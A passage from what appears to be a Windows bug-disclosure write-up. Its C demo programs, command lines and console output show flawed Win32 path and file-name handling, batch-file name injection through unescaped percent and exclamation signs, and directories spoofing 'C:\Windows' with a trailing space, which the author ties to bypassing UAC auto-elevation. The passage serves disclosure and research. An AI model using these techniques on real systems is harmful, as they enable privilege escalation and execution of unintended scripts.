dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0UL)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const FILE_RENAME_INFO fri[] = {{TRUE, (HANDLE) NULL, sizeof(L'\0'), L'\0'}, // ␀
{TRUE, (HANDLE) NULL, sizeof(L'\1'), L'\1'}, // ␁
{TRUE, (HANDLE) NULL, sizeof(L'\2'), L'\2'}, // ␂
{TRUE, (HANDLE) NULL, sizeof(L'\3'), L'\3'}, // ␃
{TRUE, (HANDLE) NULL, sizeof(L'\4'), L'\4'}, // ␄
{TRUE, (HANDLE) NULL, sizeof(L'\5'), L'\5'}, // ␅
{TRUE, (HANDLE) NULL, sizeof(L'\6'), L'\6'}, // ␆
{TRUE, (HANDLE) NULL, sizeof(L'\7'), L'\7'}, // ␇
{TRUE, (HANDLE) NULL, sizeof(L'\a'), L'\a'}, // ␇
{TRUE, (HANDLE) NULL, sizeof(L'\b'), L'\b'}, // ␈
{TRUE, (HANDLE) NULL, sizeof(L'\t'), L'\t'}, // ␉
{TRUE, (HANDLE) NULL, sizeof(L'\n'), L'\n'}, // ␊
{TRUE, (HANDLE) NULL, sizeof(L'\v'), L'\v'}, // ␋
{TRUE, (HANDLE) NULL, sizeof(L'\f'), L'\f'}, // ␌
{TRUE, (HANDLE) NULL, sizeof(L'\r'), L'\r'}, // ␍
{TRUE, (HANDLE) NULL, sizeof(L' '), L' '}, // Space
{TRUE, (HANDLE) NULL, sizeof(L'!'), L'!'},
{TRUE, (HANDLE) NULL, sizeof(L'"'), L'"'},
{TRUE, (HANDLE) NULL, sizeof(L'#'), L'#'},
{TRUE, (HANDLE) NULL, sizeof(L'$'), L'$'},
{TRUE, (HANDLE) NULL, sizeof(L'%'), L'%'},
{TRUE, (HANDLE) NULL, sizeof(L'&'), L'&'},
{TRUE, (HANDLE) NULL, sizeof(L'\''), L'\''},
{TRUE, (HANDLE) NULL, sizeof(L'('), L'('},
{TRUE, (HANDLE) NULL, sizeof(L')'), L')'},
{TRUE, (HANDLE) NULL, sizeof(L'*'), L'*'},
{TRUE, (HANDLE) NULL, sizeof(L'+'), L'+'},
{TRUE, (HANDLE) NULL, sizeof(L','), L','},
{TRUE, (HANDLE) NULL, sizeof(L'-'), L'-'},
{TRUE, (HANDLE) NULL, sizeof(L'.'), L'.'}, // Period
{TRUE, (HANDLE) NULL, sizeof(L'/'), L'/'},
{TRUE, (HANDLE) NULL, sizeof(L':'), L':'},
{TRUE, (HANDLE) NULL, sizeof(L';'), L';'},
{TRUE, (HANDLE) NULL, sizeof(L'<'), L'<'},
{TRUE, (HANDLE) NULL, sizeof(L'='), L'='},
{TRUE, (HANDLE) NULL, sizeof(L'>'), L'>'},
{TRUE, (HANDLE) NULL, sizeof(L'?'), L'?'},
{TRUE, (HANDLE) NULL, sizeof(L'@'), L'@'},
{TRUE, (HANDLE) NULL, sizeof(L'['), L'['},
{TRUE, (HANDLE) NULL, sizeof(L'\\'), L'\\'},
{TRUE, (HANDLE) NULL, sizeof(L']'), L']'},
{TRUE, (HANDLE) NULL, sizeof(L'^'), L'^'},
{TRUE, (HANDLE) NULL, sizeof(L'_'), L'_'},
{TRUE, (HANDLE) NULL, sizeof(L'`'), L'`'},
{TRUE, (HANDLE) NULL, sizeof(L'{'), L'{'},
{TRUE, (HANDLE) NULL, sizeof(L'|'), L'|'},
{TRUE, (HANDLE) NULL, sizeof(L'}'), L'}'},
{TRUE, (HANDLE) NULL, sizeof(L'~'), L'~'},
{TRUE, (HANDLE) NULL, sizeof(L'\177'), L'\177'}, // ␡
{TRUE, (HANDLE) NULL, sizeof(L'\xDC00'), L'\xDC00'}, // Low Surrogate
{TRUE, (HANDLE) NULL, sizeof(L'\xDBFF'), L'\xDBFF'}, // High Surrogate
{TRUE, (HANDLE) NULL, sizeof(L'\uFEFF'), L'\uFEFF'}, // Byte Order Mark
{TRUE, (HANDLE) NULL, sizeof(L'\uFFFD'), L'\uFFFD'}, // �
{TRUE, (HANDLE) NULL, sizeof(L'€'), L'€'}};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
DWORD dwError = ERROR_SUCCESS;
DWORD dwBlunder = 0UL;
HANDLE hBlunder = CreateFile(L"blunder.tmp",
DELETE,
FILE_SHARE_DELETE,
(LPSECURITY_ATTRIBUTES) NULL,
CREATE_NEW,
FILE_FLAG_DELETE_ON_CLOSE,
(HANDLE) NULL);
if (hBlunder == INVALID_HANDLE_VALUE)
PrintConsole(hError,
L"CreateFile() returned error %lu\n",
dwError = GetLastError());
else
{
do
if (!SetFileInformationByHandle(hBlunder,
FileRenameInfo,
fri + dwBlunder,
sizeof(*fri)))
PrintConsole(hError,
L"SetFileInformationByHandle() returned error %lu for \'%lc\' (U+%04hX)\n",
dwError = GetLastError(), fri[dwBlunder].FileName[0], fri[dwBlunder].FileName[0]);
while (++dwBlunder < sizeof(fri) / sizeof(*fri));
if (!CloseHandle(hBlunder))
PrintConsole(hError,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1.:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(83) : warning C4428: universal-character-name encountered in source blunder.c(109) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code to demonstrate the blunder:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
SetFileInformationByHandle() returned error 123 for ' ' (U+0000) SetFileInformationByHandle() returned error 123 for '☺' (U+0001) SetFileInformationByHandle() returned error 123 for '☻' (U+0002) SetFileInformationByHandle() returned error 123 for '♥' (U+0003) SetFileInformationByHandle() returned error 123 for '♦' (U+0004) SetFileInformationByHandle() returned error 123 for '♣' (U+0005) SetFileInformationByHandle() returned error 123 for '♠' (U+0006) SetFileInformationByHandle() returned error 123 for '' (U+0007) SetFileInformationByHandle() returned error 123 for '' (U+0007) SetFileInformationByHandle() returned error 123 for ' (U+0008) SetFileInformationByHandle() returned error 123 for ' ' (U+0009) SetFileInformationByHandle() returned error 123 for ' ' (U+000A) SetFileInformationByHandle() returned error 123 for '♂' (U+000B) SetFileInformationByHandle() returned error 123 for '♀' (U+000C) ' (U+000D)ormationByHandle() returned error 123 for ' SetFileInformationByHandle() returned error 123 for ' ' (U+0020) SetFileInformationByHandle() returned error 123 for '"' (U+0022) SetFileInformationByHandle() returned error 123 for '*' (U+002A) SetFileInformationByHandle() returned error 5 for '.' (U+002E) SetFileInformationByHandle() returned error 5 for '/' (U+002F) SetFileInformationByHandle() returned error 123 for ':' (U+003A) SetFileInformationByHandle() returned error 123 for '<' (U+003C) SetFileInformationByHandle() returned error 123 for '>' (U+003E) SetFileInformationByHandle() returned error 123 for '?' (U+003F) SetFileInformationByHandle() returned error 5 for '\' (U+005C) SetFileInformationByHandle() returned error 123 for '|' (U+007C) 0x7b (WIN32: 123 ERROR_INVALID_NAME) -- 123 (123) Error message text: The filename, directory name, or volume label syntax is incorrect. CertUtil: -error command completed successfully.Note: in addition to the reserved characters enumerated in the MSDN article cited above, the file name
, a single space, is
rejected with Win32 error code 123 alias
ERROR_INVALID_NAME
.
OOPS: the file name .
, a single
period, is like the file names /
and \
rejected with Win32 error code 5 alias
ERROR_ACCESS_DENIED
instead of error code 123 alias
ERROR_INVALID_NAME
– these are the names of existing directories!
OUCH: unpaired surrogates, i.e. invalid Unicode code points, are but accepted!
CopyFile()
,
CopyFile2()
,
CopyFileEx()
,
CopyFileTransacted()
,
CreateDirectory()
,
CreateDirectoryEx()
,
CreateDirectoryTransacted()
,
CreateFile()
,
CreateFile2()
,
CreateFileTransacted()
,
CreateHardLink()
,
CreateHardLinkTransacted()
,
CreateSymbolicLink()
,
CreateSymbolicLinkTransacted()
,
MoveFile()
,
MoveFileEx()
,
MoveFileTransacted()
,
MoveFileWithProgress()
and
ReplaceFile()
is left as an exercise to the reader.
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.
Create the text file %OS%.bat
with the following
content in an arbitrary, preferable empty directory:
@REM Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
@ECHO %CMDCMDLINE%
@ECHO %~f0
@EXIT
Start the batch script %OS%.bat
created in
step 1. via double-click:
'"C:\Users\Stefan\Desktop\Windows_NT.bat"' is not recognized as an internal or external command,
operable program or batch file.
OUCH¹: Windows’ graphical
Shell
Explorer.exe
fails to execute (at least) batch scripts whose
file name contains two (or more) percent signs which enclose the
name of an existing environment variable!
Start the Command Processor
Cmd.exe
, then execute
the following single command line to show the blunder again:
START /B %OS^%.bat
'"Windows_NT.bat"' is not recognized as an internal or external command,
operable program or batch file.
Note: the caret escapes the second percent sign and
inhibits expansion of the environment variable OS
for
the internal
Start
command.
Rename the file %OS%.bat
created in step 1. to
%BLUNDER%.bat
, then execute it either via double-click
or the following equivalent command line:
START /B %BLUNDER^%.bat
C:\Windows\system32\cmd.exe /K %BLUNDER%.bat
C:\Users\Stefan\Desktop\%BLUNDER%.bat
OUCH²: the
ShellExecute()
and
ShellExecuteEx()
functions, which Explorer.exe
and the internal
Start
command call, fail to escape (at least) every
second percent sign in the command line arguments they pass to the
CreateProcess()
function!
Set the environment variable BLUNDER
to an arbitrary
value, for example blunder
, and repeat step 4.:
SET BLUNDER=blunder START /B %BLUNDER^%.bat
'"blunder.bat"' is not recognized as an internal or external command,
operable program or batch file.
OUCH³: execution of batch scripts whose file
name contains the name of an existing environment variable enclosed
in percent signs fails due to the unescaped percent signs in the
command line passed to the
Command Processor
Cmd.exe
!
Rename the file %BLUNDER%.bat
to
blunder.bat
, then create the empty file
blunder.bat
next to it and repeat step 4. again:
RENAME %BLUNDER^%.bat blunder.bat COPY NUL: %BLUNDER^%.bat START /B %BLUNDER^%.bat
C:\Windows\system32\cmd.exe /K blunder.bat C:\Users\Stefan\Desktop\blunder.batOUCH⁴: due to the unescaped percent signs in the command line passed to the Command Processor
Cmd.exe
, execution of
batch scripts whose file name contains the name of an existing
environment variable enclosed in percent signs can be (ab)used to
execute arbitrary other batch scripts!
Enable delayed expansion
of environment variables for the
Command Processor
Cmd.exe
, then rename
the empty file %BLUNDER%.bat
to
!blunder!.bat
and execute the latter:
REG.EXE ADD "HKEY_CURRENT_USER\Software\Microsoft\Command Processor" /V DelayedExpansion /T REG_DWORD /D 1 /F RENAME %BLUNDER^%.bat !blunder^!.bat START /B !blunder^!.bat
The operation completed successfully. C:\Windows\system32\cmd.exe /K blunder.bat C:\Users\Stefan\Desktop\blunder.batOUCH⁵: due to the unescaped exclamation marks in the command line passed to the Command Processor
Cmd.exe
, execution of
batch scripts whose file name contains the name of an existing
environment variable enclosed in exclamation marks can be (ab)used
to execute arbitrary other batch scripts when
delayed expansionof environment variables is enabled!
Unset the environment variable BLUNDER
, then overwrite
the empty file !blunder!.bat
with the batch script
blunder.bat
and execute it:
SET BLUNDER= MOVE /Y blunder.bat !blunder^!.bat START /B !blunder^!.bat
C:\Windows\system32\cmd.exe /K .bat
C:\Users\Stefan\Desktop\.bat
OUCH⁶: thanksto
delayed expansionenabled, the string
!blunder!
(really: anything enclosed in exclamation marks
that is not the name of an existing environment variable) in the
expanded dynamic (environment) variable
CMDCMDLINE
and in the expanded batch
parameter 0
is replaced with an empty string!
Finally rename the batch script !blunder!.bat
to
!OS!.bat
and execute it via the equivalent of a
double-click:
RENAME !blunder^!.bat !OS^!.bat START /B !OS^!.bat
'"C:\Users\Stefan\Desktop\Windows_NT.bat"' is not recognized as an internal or external command,
operable program or batch file.
OUCH⁷: when delayed expansionof environment variables is enabled, execution of batch scripts whose file name contains the name of an existing environment variable enclosed in exclamation marks fails due to the unescaped exclamation marks in the command line passed to the Command Processor
Cmd.exe
!
File and Folder names that begin or end with the ASCII Space (0x20) will be saved without these characters. File and Folder names that end with the ASCII Period (0x2E) character will also be saved without this character. All other trailing or leading whitespace characters are retained.OOPS: NTFS, the native file system of Windows NT, stores file and directory names but in Unicode instead of ASCII![…]
The Win32 API (CreateFile, FindFirstFile, etc.) uses a direct method to enumerate the files and folders on a local or remote file system. All files and folders are discoverable regardless of the inclusion or location of whitespace characters.
Start the Command Processor
Cmd.exe
, then execute
the following command lines to create directories with a trailing
space or period in their name, copy the
Command Processor into them, execute
this copy to echo its fully qualified pathname, erase it and remove
the (now empty) directory:
SET BLUNDER=%COMSPEC% SET COMSPEC= FOR %? IN ("%SystemRoot% \" "%SystemRoot% .\" "%SystemRoot% . \") DO @( MKDIR "%~?" && COPY "%BLUNDER%" "%~?blunder.exe" && START /B "%~?" "%~?blunder.exe" /D /C ECHO ^%COMSPEC^% && ERASE "%~?blunder.exe" && RMDIR "%~?")Note: the command lines can be copied and pasted as block into a Command Processor window.
1 file(s) copied. C:\Windows \blunder.exe 1 file(s) copied. C:\Windows .\blunder.exe 1 file(s) copied. C:\Windows . \blunder.exeOUCH: contrary to the highlighted statements of the MSKB article cited above, directories with a trailing space or period in their name can be created!
The documentation for the Win32 function
FindFirstFile()
specifies:
Searches a directory for a file or subdirectory with a name that matches a specific name (or partial name if wildcards are used).The documentation for the Win32 function[…]
[…]HANDLE FindFirstFile( [in] LPCTSTR lpFileName, [out] LPWIN32_FIND_DATA lpFindFileData );
If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose, and the lpFindFileData parameter contains information about the first file or directory found.
If the function fails or fails to locate files from the search string in the lpFileName parameter, the return value is INVALID_HANDLE_VALUE and the contents of lpFindFileData are indeterminate. To get extended error information, call the GetLastError function.
If the function fails because no matching files can be found, the GetLastError function returns ERROR_FILE_NOT_FOUND.
FindFirstFileEx()
specifies:
Searches a directory for a file or subdirectory with a name and attributes that match those specified.The documentation for the Win32 function[…]
[…]HANDLE FindFirstFileEx( [in] LPCTSTR lpFileName, [in] FINDEX_INFO_LEVELS fInfoLevelId, [out] LPVOID lpFindFileData, [in] FINDEX_SEARCH_OPS fSearchOp, LPVOID lpSearchFilter, [in] DWORD dwAdditionalFlags );
If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose, and the lpFindFileData parameter contains information about the first file or directory found.
If the function fails or fails to locate files from the search string in the lpFileName parameter, the return value is INVALID_HANDLE_VALUE and the contents of lpFindFileData are indeterminate. To get extended error information, call the GetLastError function.
GetFullPathName()
specifies:
Retrieves the full path and file name of the specified file.The documentation for the Win32 function[…]
[…]DWORD GetFullPathName( [in] LPCTSTR lpFileName, [in] DWORD nBufferLength, [out] LPTSTR lpBuffer, [out] LPTSTR *lpFilePart );
This function does not verify that the resulting path and file name are valid, or that they see an existing file on the associated volume.
GetLongPathName()
specifies:
Converts the specified path to its long form.The documentation for the Win32 function[…]
[…]DWORD GetLongPathName( [in] LPCTSTR lpszShortPath, [out] LPTSTR lpszLongPath, [in] DWORD cchBuffer );
If the function succeeds, the return value is the length, in TCHARs, of the string copied to lpszLongPath, not including the terminating null character.
If the lpBuffer buffer is too small to contain the path, the return value is the size, in TCHARs, of the buffer that is required to hold the path and the terminating null character.
If the function fails for any other reason, such as if the file does not exist, the return value is zero. To get extended error information, call GetLastError.
[…]
If the file or directory exists but a long path is not found, GetLongPathName succeeds, having copied the string referred to by the lpszShortPath parameter to the buffer referred to by the lpszLongPath parameter.
GetShortPathName()
specifies:
Retrieves the short path form of the specified path.[…]
[…]DWORD GetShortPathName( [in] LPCTSTR lpszLongPath, [out] LPTSTR lpszShortPath, [in] DWORD cchBuffer );
If the function succeeds, the return value is the length, in TCHARs, of the string that is copied to lpszShortPath, not including the terminating null character.
If the lpszShortPath buffer is too small to contain the path, the return value is the size of the buffer, in TCHARs, that is required to hold the path and the terminating null character.
If the function fails for any other reason, the return value is zero. To get extended error information, call GetLastError.
[…]
If you call GetShortPathName on a path that doesn't have any short names on-disk, the call will succeed, but will return the long-name path instead. This outcome is also possible with NTFS volumes because there's no guarantee that a short name will exist for a given long name.
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0UL)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const LPCWSTR szArray[] = {L"Blunder \\NUL:", L"Blunder \\.", L"Blunder \\blunder.tmp", L"Blunder \\*"};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WIN32_FIND_DATA wfd;
DWORD dwArray = 0UL;
DWORD dwError;
DWORD dwBlunder;
WCHAR szBlunder[MAX_PATH];
BOOL bBlunder = FALSE;
HANDLE hBlunder;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
if (hError == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
do
{
hBlunder = FindFirstFile(szArray[dwArray], &wfd);
if (hBlunder == INVALID_HANDLE_VALUE)
PrintConsole(hError,
L"FindFirstFile() returned error %lu for argument \'%ls\'\n",
dwError = GetLastError(), szArray[dwArray]);
else
{
do
PrintConsole(hError,
L"Find%lsFile() returned filename \'%ls\' with alternate (8.3) filename \'%ls\' and attributes 0x%08lX for argument \'%ls\'\n",
bBlunder ? L"Next" : L"First", wfd.cFileName, wfd.cAlternateFileName, wfd.dwFileAttributes, szArray[dwArray]);
while (bBlunder = FindNextFile(hBlunder, &wfd));
dwError = GetLastError();
if (dwError == ERROR_NO_MORE_FILES)
dwError = ERROR_SUCCESS;
else
PrintConsole(hError,
L"FindNextFile() returned error %lu for argument \'%ls\'\n",
dwError, szArray[dwArray]);
if (!FindClose(hBlunder))
PrintConsole(hError,
L"FindClose() returned error %lu for argument \'%ls\'\n",
dwError = GetLastError(), szArray[dwArray]);
}
dwBlunder = GetFullPathName(szArray[dwArray],
sizeof(szBlunder) / sizeof(*szBlunder),
szBlunder,
NULL);
if (dwBlunder == 0UL)
PrintConsole(hError,
L"GetFullPathName() returned error %lu for argument \'%ls\'\n",
dwError = GetLastError(), szArray[dwArray]);
else
PrintConsole(hError,
L"GetFullPathName() returned pathname \'%ls\' of %lu characters for argument \'%ls\'\n",
szBlunder, dwBlunder, szArray[dwArray]);
dwBlunder = GetLongPathName(szArray[dwArray],
szBlunder,
sizeof(szBlunder) / sizeof(*szBlunder));
if (dwBlunder == 0UL)
PrintConsole(hError,
L"GetLongPathName() returned error %lu for argument \'%ls\'\n",
dwError = GetLastError(), szArray[dwArray]);
else
PrintConsole(hError,
L"GetLongPathName() returned pathname \'%ls\' of %lu characters for argument \'%ls\'\n",
szBlunder, dwBlunder, szArray[dwArray]);
dwBlunder = GetShortPathName(szArray[dwArray],
szBlunder,
sizeof(szBlunder) / sizeof(*szBlunder));
if (dwBlunder == 0UL)
PrintConsole(hError,
L"GetShortPathName() returned error %lu\n for argument \'%ls\'",
dwError = GetLastError(), szArray[dwArray]);
else
PrintConsole(hError,
L"GetShortPathName() returned pathname \'%ls\' of %lu characters for argument \'%ls\'\n",
szBlunder, dwBlunder, szArray[dwArray]);
}
while (++dwArray < sizeof(szArray) / sizeof(*szArray));
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1.:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(63) : warning C4706: assignment within conditional expression Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 2. a first time and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
FindFirstFile() returned error 3 for argument 'Blunder \NUL:'
GetFullPathName() returned pathname '\\.\NUL' of 7 characters for argument 'Blunder \NUL:'
GetLongPathName() returned error 3 for argument 'Blunder \NUL:'
GetShortPathName() returned error 3 for argument 'Blunder \NUL:'
FindFirstFile() returned error 2 for argument 'Blunder \.'
GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder' of 31 characters for argument 'Blunder \.'
GetLongPathName() returned error 2 for argument 'Blunder \.'
GetShortPathName() returned error 2 for argument 'Blunder \.'
FindFirstFile() returned error 3 for argument 'Blunder \blunder.tmp'
GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder \blunder.tmp' of 44 characters for argument 'Blunder \blunder.tmp'
GetLongPathName() returned error 3 for argument 'Blunder \blunder.tmp'
GetShortPathName() returned error 3 for argument 'Blunder \blunder.tmp'
FindFirstFile() returned error 3 for argument 'Blunder \*'
GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder \*' of 34 characters for argument 'Blunder \*'
GetLongPathName() returned error 3 for argument 'Blunder \*'
GetShortPathName() returned error 3 for argument 'Blunder \*'
0x3 (WIN32: 3 ERROR_PATH_NOT_FOUND) -- 3 (3)
Error message text: The system cannot find the path specified.
CertUtil: -error command completed successfully.
OUCH¹: the Win32 functions
FindFirstFile()
,
GetFullPathName()
,
GetLongPathName()
and
GetShortPathName()
Blunder \.
as Blunder
– they remove
the suffix \.
first and strip the now trailing space
afterwards!
Create the empty subdirectory Blunder \
, execute the
console application blunder.exe
built in step 2.
a second time and evaluate its exit code:
MKDIR "Blunder \" .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
FindFirstFile() returned error 3 for argument 'Blunder \NUL:' GetFullPathName() returned pathname '\\.\NUL' of 7 characters for argument 'Blunder \NUL:' GetLongPathName() returned error 3 for argument 'Blunder \NUL:' GetShortPathName() returned error 3 for argument 'Blunder \NUL:' FindFirstFile() returned error 2 for argument 'Blunder \.' GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder' of 31 characters for argument 'Blunder \.' GetLongPathName() returned error 2 for argument 'Blunder \.' GetShortPathName() returned error 2 for argument 'Blunder \.' FindFirstFile() returned error 2 for argument 'Blunder \blunder.tmp' GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder \blunder.tmp' of 44 characters for argument 'Blunder \blunder.tmp' GetLongPathName() returned error 2 for argument 'Blunder \blunder.tmp' GetShortPathName() returned error 2 for argument 'Blunder \blunder.tmp' FindFirstFile() returned filename '.' with alternate (8.3) filename '' and attributes 0x00000010 for argument 'Blunder \*' FindNextFile() returned filename '..' with alternate (8.3) filename '' and attributes 0x00000010 for argument 'Blunder \*' GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder \*' of 34 characters for argument 'Blunder \*' GetLongPathName() returned error 123 for argument 'Blunder \*' GetShortPathName() returned error 123 for argument 'Blunder \*' 0x7b (WIN32: 123 ERROR_INVALID_NAME) -- 123 (123) Error message text: The filename, directory name, or volume label syntax is incorrect. CertUtil: -error command completed successfully.OUCH²: contrary to the highlighted statement of its documentation cited above, the Win32 function
FindFirstFile()
does not fail with Win32 error code 2
alias
ERROR_FILE_NOT_FOUND
if a directory is empty!
Create an empty file blunder.tmp
in the subdirectory
Blunder \
, execute the console application
blunder.exe
built in step 2. a third time and
evaluate its exit code, then remove the file and the subdirectory:
COPY NUL: "Blunder \blunder.tmp" .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL% RMDIR /Q /S "Blunder \"
FindFirstFile() returned error 3 for argument 'Blunder \NUL:' GetFullPathName() returned pathname '\\.\NUL' of 7 characters for argument 'Blunder \NUL:' GetLongPathName() returned error 3 for argument 'Blunder \NUL:' GetShortPathName() returned error 3 for argument 'Blunder \NUL:' FindFirstFile() returned error 2 for argument 'Blunder \.' GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder' of 31 characters for argument 'Blunder \.' GetLongPathName() returned error 2 for argument 'Blunder \.' GetShortPathName() returned error 2 for argument 'Blunder \.' FindFirstFile() returned filename 'blunder.tmp' with alternate (8.3) filename '' and attributes 0x00000020 for argument 'Blunder \blunder.tmp' GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder \blunder.tmp' of 44 characters for argument 'Blunder \blunder.tmp' GetLongPathName() returned error 2 for argument 'Blunder \blunder.tmp' GetShortPathName() returned error 2 for argument 'Blunder \blunder.tmp' FindFirstFile() returned filename '.' with alternate (8.3) filename '' and attributes 0x00000010 for argument 'Blunder \*' FindNextFile() returned filename '..' with alternate (8.3) filename '' and attributes 0x00000010 for argument 'Blunder \*' FindNextFile() returned filename 'blunder.tmp' with alternate (8.3) filename '' and attributes 0x00000020 for argument 'Blunder \*' GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder \*' of 34 characters for argument 'Blunder \*' GetLongPathName() returned error 123 for argument 'Blunder \*' GetShortPathName() returned error 123 for argument 'Blunder \*' 0x7b (WIN32: 123 ERROR_INVALID_NAME) -- 123 (123) Error message text: The filename, directory name, or volume label syntax is incorrect. CertUtil: -error command completed successfully.OUCH³: the Win32 functions
GetLongPathName()
and
GetShortPathName()
fail with Win32 error code 2 alias
ERROR_FILE_NOT_FOUND
although the file Blunder \blunder.tmp
exists!
Create the subdirectory Blunder\
and an empty file
blunder.tmp
in it, execute the console application
blunder.exe
built in step 2. a last time and
evaluate its exit code, then remove the file and the subdirectory:
MKDIR Blunder COPY NUL: Blunder\blunder.tmp .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL% RMDIR /Q /S Blunder
FindFirstFile() returned filename 'NUL' with alternate (8.3) filename '' and attributes 0x00000020 for argument 'Blunder \NUL:' GetFullPathName() returned pathname '\\.\NUL' of 7 characters for argument 'Blunder \NUL:' GetLongPathName() returned pathname 'Blunder\NUL' of 11 characters for argument 'Blunder \NUL:' GetShortPathName() returned pathname 'Blunder \NUL:' of 13 characters for argument 'Blunder \NUL:' FindFirstFile() returned filename 'Blunder' with alternate (8.3) filename '' and attributes 0x00000010 for argument 'Blunder \.' GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder' of 31 characters for argument 'Blunder \.' GetLongPathName() returned pathname 'Blunder\.' of 9 characters for argument 'Blunder \.' GetShortPathName() returned pathname 'Blunder \.' of 10 characters for argument 'Blunder \.' FindFirstFile() returned error 3 for argument 'Blunder \blunder.tmp' GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder \blunder.tmp' of 44 characters for argument 'Blunder \blunder.tmp' GetLongPathName() returned error 3 for argument 'Blunder \blunder.tmp' GetShortPathName() returned error 3 for argument 'Blunder \blunder.tmp' FindFirstFile() returned error 3 for argument 'Blunder \*' GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder \*' of 34 characters for argument 'Blunder \*' GetLongPathName() returned error 3 for argument 'Blunder \*' GetShortPathName() returned error 3 for argument 'Blunder \*' 0x3 (WIN32: 3 ERROR_PATH_NOT_FOUND) -- 3 (3) Error message text: The system cannot find the path specified. CertUtil: -error command completed successfully.OUCH⁴: the Win32 functions
FindFirstFile()
and
GetLongPathName()
halluzinate a not existing file
Blunder \NUL
instead to fail with Win32
error code 3 alias
ERROR_PATH_NOT_FOUND
!
OUCH⁵: the Win32 function
GetShortPathName()
halluzinates a not existing file
Blunder \NUL:
and a not existing
directory Blunder \.
instead to fail with
Win32 error code 3 alias
ERROR_PATH_NOT_FOUND
!
FindFirstFileEx()
,
FindFirstFileTransacted()
,
GetFullPathNameTransacted()
and
GetLongPathNameTransacted()
is left as an exercise to the reader.
Note: an exploration of the behaviour for directory or file names with multiple trailing spaces as well as one or more trailing periods followed by one or more spaces, i.e. an extension containing only spaces, is also left as an exercise to the reader.
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.
GetFullPathName()
and
GetLongPathName()
are used (direct and indirect) by the security theatreUAC to verify two of the three preconditions required for
auto-elevationof applications:
autoElevate
property in the (embedded)
application manifest,
Windows Publishercode signing certificate, and
securealias
trustedlocation like
%SystemRoot%\
and its subdirectories.
path rules.
Note: the well-known bug of the Win32 functions is documented as CWE-41: Improper Resolution of Path Equivalence, CWE-46: Path Equivalence: 'filename ' (Trailing Space), CWE-162: Improper Neutralization of Trailing Special Elements and CWE-163: Improper Neutralization of Multiple Trailing Special Elements in the CWE™.
Note: steps 1. through 8. show the normal, intended and expected behaviour, steps 9. and 10. exploit the blunder, and step 11. cleans up.
Start the Command Processor
Cmd.exe
unelevated, then execute the
Kernel Transaction Management Utility
KTMUtil.exe
to verify that the Command Processor
Cmd.exe
runs without
administrative privileges and access rights.
